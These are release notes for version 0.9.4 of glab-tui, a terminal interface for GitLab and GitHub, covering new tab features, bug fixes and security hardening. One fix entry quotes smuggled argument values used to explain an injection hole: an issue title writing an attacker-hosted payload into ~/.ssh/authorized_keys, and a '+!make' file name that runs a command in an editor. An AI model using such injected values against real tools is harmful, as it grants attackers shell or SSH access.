Repository navigation
What's Changed
Added
- Branches tab parity — Local checkout/switch (
C), create MR/PR from branch (m), visual and bulk selection (Space,v,Ctrl+a), bulk deletion with confirmation, branch commit inspector, andcustom_keybindings.branchespane support (#658, #662) — thanks @rcieri. - Terminal tab command inspector, re-run and status filter —
EnterorPopens a detail modal for the highlighted entry with the full command line, exit code, start time, duration, error, stderr and stdout (each stream kept up to 16 KiB).rre-runs the recordedglab/gh/gitcall after a confirmation and logs it as a new entry,scycles the log between All, Errors and Success, andYcopies the entry's output or error next toyfor the command line. All four keys are remappable under[keybindings.terminal](inspect_command,rerun_command,cycle_status_filter,copy_output) (#660) — thanks @Luckystrike561, @rcieri. - Todos / Notifications actions — New keys on the Todos tab.
dmarks the highlighted item done (mark_as_done),Amarks every item read after a confirmation (mark_all_as_read),Uunsubscribes from the item's issue, MR/PR or thread (unsubscribe) andrtoggles listing read (GitHub) or done (GitLab) items (toggle_show_read). The tab now lists unread items only by default, and its title names the active filter (Unread/All) (#583) — thanks @Luckystrike561. - Runners metadata, status filter and copy keys — The Runners preview now lists each runner's type (instance, group or project), tags as pills, version, last contact, IP address and URL, and the table gains a
Tagscolumn (plus optionalType,VersionandLast Contact). GitLab reads tags, version, last contact and IP from oneglab api graphqlquery over the project's runners, sinceglab runner listdoes not return them. GitHub runner labels show as tags. The Status cell uses the shared badge pills, addsSTALEandNEVER CONTACTED, and showsPAUSEDfor a paused runner even when GitLab reports it stale or never contacted.scycles the Status filter (Online, Paused, Offline, all, with Paused skipped on GitHub, whose runners cannot be paused), theTagscolumn filters by tag,ycopies the runner URL andYits ID (cycle_status,copy_url,copy_id) — thanks @Luckystrike561, @rcieri. - Todos / Notifications triage — Select items with
Space(select_todo),v(selection_toggle) orCtrl+a(select_all), then mark all of them read withEnteror done withd, paced like other bulk operations and reported in one toast on failure.p(toggle_preview) opens a preview that renders the comment behind the item as Markdown (GitLab todos carry it, GitHub notifications fetch the latest comment or the issue / PR body once the cursor rests), with its reason and author. The State and Type columns are styled badges (NEW/READ,Issue/MRorPR), the ID column writes GitHub PRs as#N, andy/Ycopy the target's URL / reference (copy_url,copy_reference). GitHub notifications with no subject URL (e.g. check suites) no longer fail the whole list (#657) — thanks @Luckystrike561, @rcieri. - Pipelines tab parity — The pipeline inspector, now shown and hidden with
i(toggle_preview) sinceEnterdescends into the pipeline, lists the triggering commit (headline and author), the trigger event and who triggered it, and a Failed Jobs summary with each failed job and why it failed (GitLab'sfailure_reason, GitHub's timeout or first failed step).R(retry_failed) reruns only the failed jobs:gh run rerun --failedon GitHub, and on GitLab each failed job on its own, since GitLab's pipeline retry (r) also reruns canceled jobs.s(cycle_status_filter) steps the Status filter through All, Running, Failed and Success.Y(copy_id) copies the pipeline ID as#123.[[custom_keybindings.pipelines]]binds commands with{{.PipelineId}},{{.Ref}}and{{.Sha}}, once per checked pipeline for a bulk run (#654) — thanks @Luckystrike561, @rcieri. - Environments: deployments, rollback and stop —
Enteron an environment now lists its deployments newest first and focuses them, soj/kwalk the history while the pane below shows the selected deployment's status, ref, full commit SHA, deployer, job and notes.Tabmoves the focus between the deployments and the environment list (,opens the Configure View while deployments are listed).Rrolls back to the selected deployment after a confirmation (GitLab re-runs its job, GitHub creates a new deployment of its commit),dstops the environment after a confirmation (GitHub, which has no stop, marks its latest deployment inactive),ycopies the environment URL andeopens the selected deployment's job log in$EDITOR(GitLab). Environment states and deployment statuses render as badges, and the environment preview lists these keys. GitLab deployments used to be fetched oldest first, so environments with more deployments than the page size never showed the newest ones (#659) — thanks @Luckystrike561, @rcieri. - Jobs tab parity — The Jobs preview now goes through the shared entity inspector. The highlighted job's metadata (ID, name, status, stage, matrix, failure reason, runner, queued time, duration, needs, artifacts, web URL) sits above its trace, or above the pipeline's stage summary while no trace is open. GitLab job listings now fill the runner, duration, queued time, failure reason, artifacts and URL the API already returned; GitHub fills the job URL.
E(jump_to_failure) scrolls the trace to the next line reporting a failure (ERROR,##[error],fatal,FAIL,panicked, …, but not0 failed,Failed: 0or a name such asquick-error, and never in the job and step names GitHub puts before each line), fetching the trace first when it is not shown.y(copy_url) copies the job's web URL andY(copy_id) its ID. Copying the pipeline commit SHA moves fromytoAlt+y(copy_sha) on the Jobs tab. A new[[custom_keybindings.jobs]]table runs commands withJobId,JobName,StageandStatus(plusRepoName/RepoPath), once per selected job when jobs are selected. The trace pane is titledTrace(#655) — thanks @Luckystrike561, @rcieri.
Fixed
- Runner browser links — Opening a runner in the browser no longer percent-encodes the project path in the URL (#656) — thanks @Luckystrike561.
- Review threads overlay lists every thread — On GitHub,
Tin the diff view only saw the firstpage_sizereview comments (never more than 100) and the resolution state of the first 100 threads, so on a busy PR the newest threads, usually the open ones, were missing or hidden by the unresolved filter. Review comments are now read withgh api --paginateand threads with a paginatedreviewThreadsquery, and a reply takes its thread's state from the thread's first comment. On GitLab,glab mr note list --output jsonprints discussions, not notes, so parsing failed and the overlay stayed empty. The discussions are now flattened into notes carrying their discussion id. A failed comment fetch raises a toast instead of silently showing no threads, and the diff stays viewable (#674) — thanks @Luckystrike561. - Failed CLI calls always name their reason — Every failed
gh apicall now adds GitHub's reason from the response body (e.g.Can not approve your own pull request) to its error and Terminal-tab status, not only the calls made through the raw API helper. Aglab/gh/gitcall that fails without printing to stderr reports the command and its exit code instead of an empty reason. Re-runs from the Terminal tab report failures the same way as the original call (#660) — thanks @Luckystrike561, @rcieri. - Failed browser launches show as failed — Opening a milestone, runner, branch or environment in the browser (
git web--browse) was always logged as a success, even when it exited non-zero because no browser is configured. The Terminal tab now marks it failed with the helper's error, so the Errors filter lists it (#660) — thanks @Luckystrike561, @rcieri. - Scroll limits count wide characters — The detail pane, job log, review threads overlay and Terminal tab measured wrapped text in characters while it is drawn in terminal cells, so CJK text or emoji wrapped onto more rows than counted and scrolling to the end stopped short of the last line. Rows are now counted in cells (#660) — thanks @Luckystrike561, @rcieri.
- Bounded job logs and diffs — Job logs are read up to 16 MiB and a longer one is marked
[TRUNCATED: first 16 MiB]in the Jobs pane title. A diff over 32 MiB is refused with an error instead of being buffered whole. glab-tui stops reading (and kills the CLI) at the limit. Follow mode no longer downloads and re-parses the whole log every 5 seconds: on GitLab it asks only for the bytes after what is shown (byte_offset/byte_limit, with a full read on servers that predate them), on GitHub it makes no call (logs only exist for completed jobs), and the pane parses only the new lines and keeps the log on screen while polling (#559) — thanks @Luckystrike561. - Custom command arguments are refused unless they are a plain word —
{{.Arg}}substitution only rejected quotes,$, separators and redirections, so an issue titled-o ~/.ssh/authorized_keys http://evil/payloadreachedsome-tool {{.IssueTitle}}as attacker-chosen flags and paths. A value that starts with-or+, or contains whitespace,~,*,?,[,],{,},#or=, is now refused as well, pointing at the quoted$GLAB_TUI_*variable (after--for a leading-or+). A leading+is refused because vim, nvim and less run+cmdas a command, so a PR file named+!makewould have runmakethroughnvim +{{.LineNumber}} {{.FilePath}}. Commands that spliced titles or paths with spaces directly need the environment variable (#562) — thanks @Luckystrike561. - Checksum-verified installs and self-update —
install.sh,install.ps1and the self-updater (u/glab-tui --update) now download the release's<asset>.sha256and verify the archive before extracting it. A mismatch or a missing checksum aborts without touching the installed binary. The self-updater talks to GitHub throughcurlinstead of theghCLI, so GitLab-only installs no longer needghto update (#564) — thanks @Luckystrike561. - Group-scope confirm actions hit the selected project — Closing, deleting, reopening, merging, rebasing or revoking an issue/MR, closing, reopening or deleting a milestone, and submitting a review resolved the project from the first listed row sharing the iid. In group scope, issue
#5of project B could close issue#5of project A. The confirm dialog now carries the selected row's project through to the CLI call and the local list update (#567) — thanks @Luckystrike561. - Stale fetches after a repo/group switch — A fetch still in flight when the repository or group changed wrote the old scope's issues, MRs, pipelines and other tab data into the new scope's table and cache file once it finished. Every background fetch now carries the scope generation it started in (
App::scope_generation, bumped byreset_on_scope_change), and the event loop drops results from an earlier generation before they touch app state or the cache (#574) — thanks @Luckystrike561. - Esc no longer discards review drafts — Pressing
Esc(or Cancel) on the submit-review dialog shown when leaving the diff view deleted every draft comment and closed the diff. It now only closes the dialog and returns to the diff. The dialog gains Keep drafts (close the diff, keep the drafts) and an explicit Discard button. Drafts are saved per project and MR/PR in the project cache, so they survive closing the diff and restarting glab-tui. A kept draft whose line is no longer in the diff when it is reopened is set aside with a toast instead of being submitted, and comes back once its line returns (#569) — thanks @Luckystrike561. - Actions follow the highlighted row — with a search, sort, group-by or column filter active, several actions read the selection index against the unfiltered list and acted on a different row than the one on screen. Group-scope create (issue, MR/PR, milestone) and run-pipeline now take the highlighted row's project, and Jobs
select_stageselects the visible jobs in the highlighted job's stage. Jumping to an issue or MR/PR from the related-MRs and linked-issues selectors or from a todo now drops the search and column filters that would hide the target (as thegjump already did) and highlights the target row. A todo jumps only to the issue or MR/PR in its own project, never to a same-numbered one from another project, and says so in the header bar when that target is not loaded (#571) — thanks @Luckystrike561. - Code blocks keep their first character — Fenced code blocks in descriptions and suggestion bodies in the diff view lost their first character when it was
-,+or a space, because highlighting stripped it as if it were a diff marker. A YAML- itemrendered asitemand indented lines lost one column. Only real diff hunk lines have their marker removed now (#565) — thanks @Luckystrike561. - Column logic matches the rendered columns — On Releases, search, group-by and the value filter now read the
Release Notescolumn (they looked for aDescriptioncolumn that does not exist). BranchesDefault/Protectedfilters offer and match theYES/NOcell text instead oftrue/false, and filters saved astrue/falsekeep working. Group-by now reorders the Runners, Branches and Environments tabs, which used to ignore it, and the BranchesSHAand EnvironmentsURLfilters now list values (#566) — thanks @Luckystrike561. - Environments detail pane follows the selection — Deployments fetched with
Enterfor one environment stayed in the detail pane after another environment was selected, after a search put a different environment under the cursor, and after leaving the tab. They are now dropped as soon as their environment stops being the highlighted row of the Environments tab, including when the fetch finishes after the selection has moved on, and the pane falls back to the environment's details.Enteron an environment now also opens the detail pane, which nothing on the Environments tab could open before, so the fetched deployments were never visible there (#568) — thanks @Luckystrike561. - Hung
gh/glabcalls no longer stall the app — Everygh/glabcall made through the backends (tab fetches, mutations, thereviewsubcommand), the diff view's comment edit/delete and release creation now runs under a timeout (command_timeout_seconds, default120). A call still running when it expires is killed and reported as an error naming the command, instead of hanging forever while holding one of the 8 concurrent-request slots. A request backing off after a rate limit no longer holds its slot during the sleep, and an error that merely contains the digits429(such asissue #429 not found) is no longer retried as a rate limit:429now has to appear as an HTTP status (HTTP 429,status code: 429,GET <url>: 429) (#575) — thanks @Luckystrike561. - Job trace in the editor — The Jobs tab's open-in-editor key (
e) ran the wholeEDITORvalue as one program name, soEDITOR="code --wait"failed to start. It wrote the placeholderTrace will be herewhen the trace had not been shown yet, and handed over the terminal without the Ctrl+C guard other editor launches have. It now fetches the trace first when needed and opens it through the shared editor handoff.Enteron a job in group scope now fetches the trace from the job's own project (it used to ask for the group path and fail), and a trace that arrives after a repo/group switch is dropped (#577) — thanks @Luckystrike561. - Jobs tab finds the branch pipeline directly — Opening the Jobs tab no longer lists every MR and every pipeline of the project to find the checked-out branch's pipeline. It asks for the newest pipeline of that branch (
glab ci list --refplus the branch's open MR viaglab mr list --source-branch, orgh run list --branch). Clearing a job selection also clears its select-stage notice, and the GitLab-only start-job key is no longer offered on GitHub (#579) — thanks @Luckystrike561. - Releases act on their own project — Release edits, deletes and open-in-browser target the release's own project instead of the raw scope string. A release edit form opened from the zoomed inspector no longer submits empty release notes. The unreachable text-input release creation path, which shelled out to
gh/glab release createfrom the event loop, is gone: every release is created throughBackend::create_release(#580) — thanks @Luckystrike561. - Todos mark-read and jump — Marking a todo or notification read discarded the CLI result, so the item stayed listed until the next refetch and a failure was silently dropped. The list now updates as soon as the call succeeds and a failure raises an error toast.
Enterand themark_as_readkey share one implementation, and the jump selects the issue or MR/PR in the todo's own project instead of the first item with the same number. A todo from a project outside the current scope reports that instead of landing on an unrelated item, and stays unread (#583) — thanks @Luckystrike561. - Runners, Releases, Branches and Environments keep the selected row — These tabs now run on a shared list-tab model: each column defines its header, cell, search text, filter values and sort key once, and the filtered and sorted view is rebuilt only when the rows, search, column filters or sort change. Selection follows the row's own key (runner/environment id, release tag, branch name) instead of its position, so a refresh, sort, search or group change no longer moves it to another row, and editing a release opens the release under the cursor. A mouse click selects the clicked row when the table is scrolled (#586) — thanks @Luckystrike561, @rcieri.
- Syntax highlighting across lines — The diff view, Markdown code fences and code suggestions parsed every line on its own, so block comments, docstrings and heredocs lost their color after the first line. Each side of each diff hunk, and each fence or suggestion, is now highlighted as one text. Code fences and suggestions no longer lose their first leading space (#565). Extension-less files such as
Makefileare recognised by name, and scripts by their shebang when the diff starts at line 1. Colors are resolved from the active theme when the diff is drawn, so reloading the theme recolors an open diff.glab-tui reviewno longer highlights the diffs it only reads anchors from, and syntect is built with only theparsing,default-syntaxesandregex-fancyfeatures (#584) — thanks @Luckystrike561, @rcieri.
Changed
- Pipelines copy keys —
yon the Pipelines tab now copies the pipeline URL (copy_url) instead of the commit SHA, which moves toC(keybindings.pipelines.copy_sha). The Jobs tab keepsyfor the SHA (#654) — thanks @Luckystrike561, @rcieri. - List-tab model architecture — Migrated Runners, Releases, Branches, and Environments tabs to a generic
ListTabarchitecture with typed column definitions, search/filter synchronization, and row-keyed navigation (#641) — thanks @Luckystrike561, @rcieri. - Subprocess security and bounded outputs — Bounded child CLI stdout streams (
output_bounded), enforced execution timeouts (command_timeout_seconds), sanitized untrusted text/ANSI sequences, and tightened persisted file modes to 0600 / 0700 (#611, #612, #614, #615, #631) — thanks @Luckystrike561. - Security & supply-chain policies — Integrated
cargo-denychecks, documented cargo-audit ignores, replacedserde_yamlwithserde-saphyr, and addedcargo-fuzztargets for diff, Markdown, and ANSI parsers (#616) — thanks @Luckystrike561. - CI & Developer tooling — Added
just build,just run, andjust installrecipes (#680), expanded e2e test smoke matrix for secondary tabs (#618), and excluded non-essential repository assets from the cargo crate package (#557) — thanks @janosmiko, @Luckystrike561, @rcieri.
Dependencies
- Bumped
tokioto 1.54.1 (#687),arboardto 3.7.0 (#671), and updateddtolnay/rust-toolchainand GitHub Action dependencies (#648, #667, #668, #683, #684, #685) — thanks @dependabot.
Contributors
Full Changelog: v0.9.3...v0.9.4